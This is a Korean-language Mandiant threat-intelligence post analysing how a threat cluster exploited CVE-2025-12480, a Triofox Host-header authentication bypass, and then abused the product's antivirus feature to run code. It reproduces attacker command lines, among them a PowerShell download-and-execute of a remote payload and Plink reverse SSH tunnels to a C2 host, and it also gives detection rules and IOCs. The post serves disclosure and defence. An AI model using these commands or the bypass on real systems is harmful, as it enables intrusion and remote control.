콘텐츠로 이동하기
위협 인텔리전스

더 이상 안전한 곳은 없다: Triofox 취약점(CVE-2025-12480)을 이용한 원격 액세스 공격

2025년 11월 10일
Mandiant

Mandiant Services

Stop attacks, reduce risk, and advance your security.

Contact Mandiant

해당 블로그의 원문은 2025년 11월 11일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Stallone D'Souza, Praveeth DSouza, Bill Glynn, Kevin O'Flynn, Yash Gupta


Frontline Bulletin 시리즈에 오신 것을 환영합니다

Mandiant 위협 방어팀이 직접 전하는 "Frontline Bulletin" 시리즈는 현재 실제 환경(in the wild)에서 발견되는 최신 위협 정보를 제공하여, 우리 커뮤니티가 위협을 이해하고 대응할 수 있도록 돕습니다.

소개

Mandiant 위협 방어팀은 Gladinet의 파일 공유 및 원격 액세스 플랫폼인 Triofox 내에서 인증되지 않은 액세스 취약점이 악용되는 사례를 발견했습니다. 현재 패치된 이 n-day 취약점(CVE-2025-12480으로 지정됨)은 공격자가 인증을 우회하여 애플리케이션 구성 페이지에 접근하고, 임의의 페이로드(payload)를 업로드 및 실행할 수 있도록 허용했습니다.

빠르면 2025년 8월 24일부터, Google 위협 인텔리전스 그룹(GTIG)이 UNC6485로 추적하는 위협 클러스터는 이 인증되지 않은 액세스 취약점을 악용했으며, 내장된 안티바이러스 기능 남용과 연계하여 코드를 실행했습니다.

이 블로그 게시물에서 논의된 활동은 Triofox 버전 16.4.10317.56372의 취약점을 활용했으며, 해당 취약점은 16.7.10368.56560 릴리스에서 완화되었습니다.

Gladinet은 우리의 발견 사항에 대해 Mandiant와 협력했으며, Mandiant는 이 취약점이 Triofox의 새 버전에서 해결되었음을 확인했습니다.

초기 탐지

Mandiant는 고객 전반의 보안 사고를 탐지, 조사 및 대응하기 위해 Google Security Operations(SecOps)를 활용합니다. Google Cloud Security의 공유 운명(Shared Fate) 모델의 일환으로, SecOps는 고객이 기업에 대한 위협을 식별하는 데 도움이 되도록 설계된 기본 탐지 콘텐츠를 제공합니다. Mandiant는 SecOps의 복합 탐지 기능을 사용하여 여러 규칙의 출력을 상호 연관시켜 탐지 태세를 강화합니다.

이번 조사를 위해 Mandiant는 고객의 Triofox 서버에서 잠재적인 위협 행위자 활동을 식별하는 복합 탐지 경보를 받았습니다. 이 경보는 원격 액세스 유틸리티의 배포 및 사용(PLINK를 사용하여 RDP를 외부로 터널링)과 잠재적인 스테이징 디렉터리에서의 파일 활동(C:\WINDOWS\Temp로 파일 다운로드)을 식별했습니다.

조사를 시작한 지 16분 이내에 Mandiant는 위협을 확인하고 호스트 격리를 시작했습니다. 조사 결과, 구성 페이지에 대한 접근을 허용하는 인증되지 않은 액세스 취약점이 발견되었습니다. UNC6485는 이 페이지를 사용하여 초기 Triofox 설정 프로세스를 실행하여 새로운 네이티브 관리자 계정인 Cluster Admin을 생성했으며, 이 계정을 사용하여 후속 활동을 수행했습니다.

Triofox 인증되지 않은 액세스 제어 취약점

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig1.max-2100x2100.png

그림 1: CVE-2025-12480 공격 체인

Mandiant 조사 중에 저희는 HTTP 로그 파일에서 비정상적인 항목 하나를 발견했습니다. 바로 localhost를 포함하는 HTTP Referer URL을 가진 의심스러운 HTTP GET 요청이었습니다. 외부 소스에서 시작된 요청에 localhost 호스트 헤더가 있다는 것은 매우 이례적이며, 일반적으로 정상적인 트래픽에서는 예상되지 않는 현상입니다.

GET /management/CommitPage.aspx - 443 - 85.239.63[.]37 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/101.0.4951.41+Safari/537.36 http://localhost/management/AdminAccount.aspx 302 0 0 56041

그림 2: HTTP 로그 엔트리

Mandiant는 테스트 환경에서 AdminAccount.aspx로 전송된 일반적인 HTTP 요청이 '액세스 거부(Access Denied)' 페이지로 리디렉션되는 것을 확인했으며, 이는 해당 페이지에 접근 제어 기능이 적용되어 있음을 나타냅니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig3.max-1000x1000.png

그림 3: AdminAccount.aspx에 접속을 시도할 때 AccessDenied.aspx로 리디렉션됨

AdminAccount.aspx 페이지에 대한 접근 권한은 초기 구성 페이지인 AdminDatabase.aspx에서의 설정 과정의 일부로 부여됩니다. AdminDatabase.aspx 페이지는 Triofox 소프트웨어를 처음 설치한 후 자동으로 실행됩니다. 이 페이지에서 사용자는 데이터베이스 선택(Postgres 또는 MySQL), LDAP 계정 연결, 또는 새로운 네이티브 클러스터 관리자 계정 생성과 같은 옵션 및 기타 세부 정보를 통해 Triofox 인스턴스를 설정할 수 있습니다.

AdminDatabase.aspx 페이지에 접속을 시도하면, 유사하게 '액세스 거부(Access Denied)' 페이지로 리디렉션되었습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig4.max-900x900.png

그림 4: AdminDatabase.aspx에 접속을 시도할 때 AccessDenied.aspx로 리디렉션됨

Mandiant는 설정 프로세스의 워크플로우를 테스트하여 이 취약점을 검증했습니다. Host 헤더 필드는 웹 클라이언트에 의해 제공되며 공격자가 쉽게 수정할 수 있습니다. 이 기법은 HTTP 호스트 헤더 공격(HTTP host header attack)이라고 합니다. Host 값을 localhost로 변경하면 AdminDatabase.aspx 페이지에 접근할 수 있는 권한이 부여됩니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig5.max-700x700.png

그림 5: Host 헤더를 localhost로 변경하여 AdminDatabase.aspx에 대한 접근이 허용됨

AdminDatabase.aspx 페이지를 통해 설정 프로세스를 따르고 새로운 데이터베이스를 생성하면, 관리자 초기화 페이지인 AdminAccount.aspx에 대한 접근이 허용됩니다. 이 페이지는 새로운 관리자 계정을 생성하기 위해 InitAccount.aspx 페이지로 리디렉션됩니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig6.max-900x900.png

그림 6: 관리자 생성 페이지(InitAccount.aspx)에 성공적으로 접근

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig7a.max-1200x1200.png

그림 7: 관리자 페이지

코드 베이스를 분석한 결과, AdminDatabase.aspx 페이지에 대한 주된 접근 제어 확인은 C:\Program Files (x86)\Triofox\portal\bin\GladPageUILib.dll에 있는 GladPageUILib.GladBasePage 클래스 내의 CanRunCrticalPage() 함수에 의해 제어되는 것으로 나타났습니다.

public bool CanRunCriticalPage()
{
    Uri url = base.Request.Url;
    string host = url.Host;
    bool flag = string.Compare(host, "localhost", true) == 0; //Access to the page is granted if Request.Url.Host equals 'localhost', immediately skipping all other checks if true

    bool result;
    if (flag)
    {
        result = true;
    }
    else
    {
       //Check for a pre-configured trusted IP in the web.config file. If configured, compare the client IP with the trusted IP to grant access
 
string text = ConfigurationManager.AppSettings["TrustedHostIp"];
        bool flag2 = string.IsNullOrEmpty(text);
        if (flag2)
        {
            result = false;
        }
        else
        {
            string ipaddress = this.GetIPAddress();
            bool flag3 = string.IsNullOrEmpty(ipaddress);
            if (flag3)
            {
                result = false;
            }
            else
            ...
           

그림 8: CanRunCrticalPage() 함수의 취약한 코드 

코드 스니펫에서 볼 수 있듯이, 이 코드는 여러 가지 취약점을 가지고 있습니다:

  • 호스트 헤더 공격(Host Header attack) - ASP.NET은 공격자가 수정할 수 있는 HTTP Host 헤더를 기반으로 Request.Url을 생성합니다.

  • 출처 검증 부재(No Origin Validation) - 요청이 실제 localhost 연결에서 온 것인지, 아니면 스푸핑(조작)된 헤더에서 온 것인지 확인하는 절차가 없습니다.

  • 설정 의존성(Configuration Dependence) - TrustedHostIP가 구성되어 있지 않으면, 유일한 보호 조치는 Host 헤더 확인뿐입니다.

Triofox 안티바이러스 기능 악용

코드를 실행하기 위해, 공격자는 새로 생성한 관리자 계정으로 로그인했습니다. 공격자는 내장된 안티바이러스 기능을 이용해 실행할 악성 파일을 업로드했습니다. 안티바이러스 기능을 설정하기 위해, 사용자는 선택한 안티바이러스에 대한 임의의 경로를 제공할 수 있습니다. 안티바이러스 스캐너 위치로 구성된 파일은 Triofox 부모 프로세스의 계정 권한을 상속받으며, SYSTEM 계정의 컨텍스트(권한) 하에서 실행됩니다.

공격자는 안티바이러스 엔진의 경로를 자신의 스크립트를 가리키도록 구성하여 악성 배치 스크립트를 실행할 수 있었습니다. Triofox 애플리케이션 내에서 새 공유를 게시할 때, 해당 공유 폴더의 디스크 상 폴더 경로가 표시됩니다. 그런 다음, Triofox 인스턴스 내의 게시된 공유 폴더에 임의의 파일을 업로드하면, 구성된 스크립트가 실행됩니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig9.max-1100x1100.png

그림 9: 안티바이러스 엔진 경로가 악성 배치 스크립트로 설정됨

SecOps 텔레메트리에는 공격자 스크립트의 다음과 같은 명령줄 실행이 기록되었습니다.

C:\Windows\system32\cmd.exe /c ""c:\triofox\centre_report.bat" C:\Windows\TEMP\eset_temp\ESET638946159761752413.av"

공격 후 활동

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig10a.max-800x800.jpg

그림 10: 공격 후 활동 개요

지원 도구 배포

공격자 스크립트 centre_report.bat는 2단계 페이로드(second-stage payload)를 다운로드하고 실행하기 위해 다음 PowerShell 명령을 실행했습니다.

powershell -NoProfile -ExecutionPolicy Bypass -Command "$url = 'http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip'; $out = 'C:\\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe'; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process $out -ArgumentList '/silent' -Wait"

PowerShell 다운로더는 다음과 같이 설계되었습니다.

  • http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip에서 페이로드를 다운로드합니다. 이 파일은 ZIP 확장자에도 불구하고 실행 파일로 위장되어 있었습니다.

  • 페이로드를 C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe에 저장합니다.

  • 페이로드를 자동으로(silently) 실행합니다.

실행된 페이로드는 Zoho UEMS(Unified Endpoint Management System) 소프트웨어 설치 프로그램의 정상적인 복사본이었습니다. 공격자는 UEMS 에이전트를 사용하여 호스트에 Zoho Assist 및 Anydesk 원격 액세스 유틸리티를 배포했습니다.

정찰 및 권한 상승

공격자는 Zoho Assist를 사용하여 활성 SMB 세션과 특정 로컬 및 도메인 사용자 정보를 열거하기 위한 다양한 명령을 실행했습니다.

또한, 기존 계정의 암호를 변경하고 해당 계정을 로컬 관리자 및 "Domain Admins" 그룹에 추가하려고 시도했습니다.

방어 회피

공격자는 sihosts.exe와 silcon.exe를 (정상적인 도메인 the.earth[.]li에서) 다운로드하여 C:\windows\temp\ 디렉터리에 저장했습니다.

파일명 

원본 파일명

설명

sihosts.exe

Plink (PuTTY Link)

SSH 연결을 생성하기 위한 일반적인 명령줄 유틸리티

silcon.exe

PuTTY

SSH 및 텔넷 클라이언트

이 도구들은 암호화된 터널을 설정하여, 감염된 호스트를 SSH를 통해 433번 포트로 공격자의 명령 제어(C2 또는 C&C) 서버에 연결하는 데 사용되었습니다. 이후 C2 서버는 이 터널을 통해 모든 트래픽을 감염된 호스트의 3389번 포트로 전달함으로써 인바운드 RDP 트래픽을 허용할 수 있었습니다. 해당 명령어들은 다음과 같은 매개변수와 함께 실행되었습니다.

C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

C:\windows\temp\silcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

결론

이 취약점은 Triofox 버전 16.7.10368.56560에서 패치되었지만, Mandiant는 최신 릴리스로 업그레이드할 것을 권장합니다. 또한, Mandiant는 관리자 계정을 감사하고 Triofox의 안티바이러스 엔진이 승인되지 않은 스크립트나 바이너리를 실행하도록 구성되지 않았는지 확인할 것을 권장합니다. 보안팀은 이 게시물 하단에 나열된 저희의 헌팅 쿼리를 사용하여 공격자 도구를 추적하고, 비정상적인 아웃바운드 SSH 트래픽을 모니터링해야 합니다.

감사의 말

Elvis Miezitis, Chris Pickett, Moritz Raabe, Angelo Del Rosario, 그리고 Lampros Noutsos에게 특별한 감사를 전합니다.

Google SecOps를 통한 탐지

Google SecOps 고객은 Mandiant Windows Threats 규칙 팩에서 이러한 광범위한 카테고리의 규칙 등을 이용할 수 있습니다. 이 블로그 게시물에서 논의된 활동은 Google SecOps에서 다음 규칙 이름으로 탐지됩니다.

  • Gladinet or Triofox IIS Worker Spawns CMD

  • Gladinet or Triofox Suspicious File or Directory Activity

  • Gladinet Cloudmonitor Launches Suspicious Child Process

  • Powershell Download and Execute

  • File Writes To AppCompat

  • Suspicious Renamed Anydesk Install

  • Suspicious Activity In Triofox Directory

  • Suspicious Execution From Appcompat

  • RDP Protocol Over SSH Reverse Tunnel Methodology

  • Plink EXE Tunneler

  • Net User Domain Enumeration

SecOps 헌팅 쿼리

다음 UDM 쿼리를 사용하여 사용자 환경 내의 잠재적인 침해를 식별할 수 있습니다.

GladinetCloudMonitor.exe가 Windows 명령 셸을 생성

정상적인 GladinetCloudMonitor.exe 프로세스가 Windows 명령 셸(Windows Command Shell)을 생성하는 것을 식별합니다.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /GladinetCloudMonitor\.exe/ nocase
target.process.file.full_path = /cmd\.exe/ nocase

유틸리티 실행

이름이 변경된 Plink 실행 파일(sihosts.exe) 또는 이름이 변경된 PuTTY 실행 파일(silcon.exe)이 역방향 SSH 터널을 설정하려는 실행을 식별합니다.

metadata.event_type = "PROCESS_LAUNCH"
target.process.command_line = /-R\b/
(
target.process.file.full_path = /(silcon\.exe|sihosts\.exe)/ nocase or
(target.process.file.sha256 = "50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7" and target.process.file.full_path != /plink\.exe/ nocase) or
(target.process.file.sha256 = "16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad" and target.process.file.full_path != /putty\.exe/ nocase)
)

침해 지표 (Indicators of Compromise, IOCs)

다음 침해 지표(IOC)는 등록된 사용자를 위해 Google 위협 인텔리전스(GTI) 컬렉션에서 확인할 수 있습니다.

참고: 다음 표에는 정상적인 도구의 이름이 변경된 인스턴스인 아티팩트가 포함되어 있습니다.

호스트 기반 아티팩트

아티팩트

설명

SHA-256 해시

C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe

Zoho UEMS 에이전트가 포함된 설치 프로그램

43c455274d41e58132be7f66139566a941190ceba46082eb2ad7a6a261bfd63f

C:\Windows\temp\sihosts.exe

Plink

50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7

C:\Windows\temp\silcon.exe

PuTTy

16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad

C:\Windows\temp\file.exe

AnyDesk

ac7f226bdf1c6750afa6a03da2b483eee2ef02cd9c2d6af71ea7c6a9a4eace2f

C:\triofox\centre_report.bat

공격자 배치 스크립트 파일 이름

N/A

네트워크 기반 아티팩트

IP 주소

ASN

설명

85.239.63[.]37

AS62240 - Clouvider Limited

공격자가 처음에 CVE-2025-12480을 악용하여 관리자 계정을 생성하고 Triofox 인스턴스에 접근하는 데 사용한 IP 주소

65.109.204[.]197

AS24950 - Hetzner Online GmbH

휴면 기간 후, 위협 행위자는 이 IP 주소를 사용하여 Triofox 인스턴스에 다시 로그인하고 후속 활동을 수행했습니다.

84.200.80[.]252

AS214036 - Ultahost, Inc.

Zoho UEMS 에이전트 원격 액세스 도구의 설치 프로그램을 호스팅하는 IP 주소

216.107.136[.]46

AS396356 - LATITUDE-SH

Plink C2

게시 위치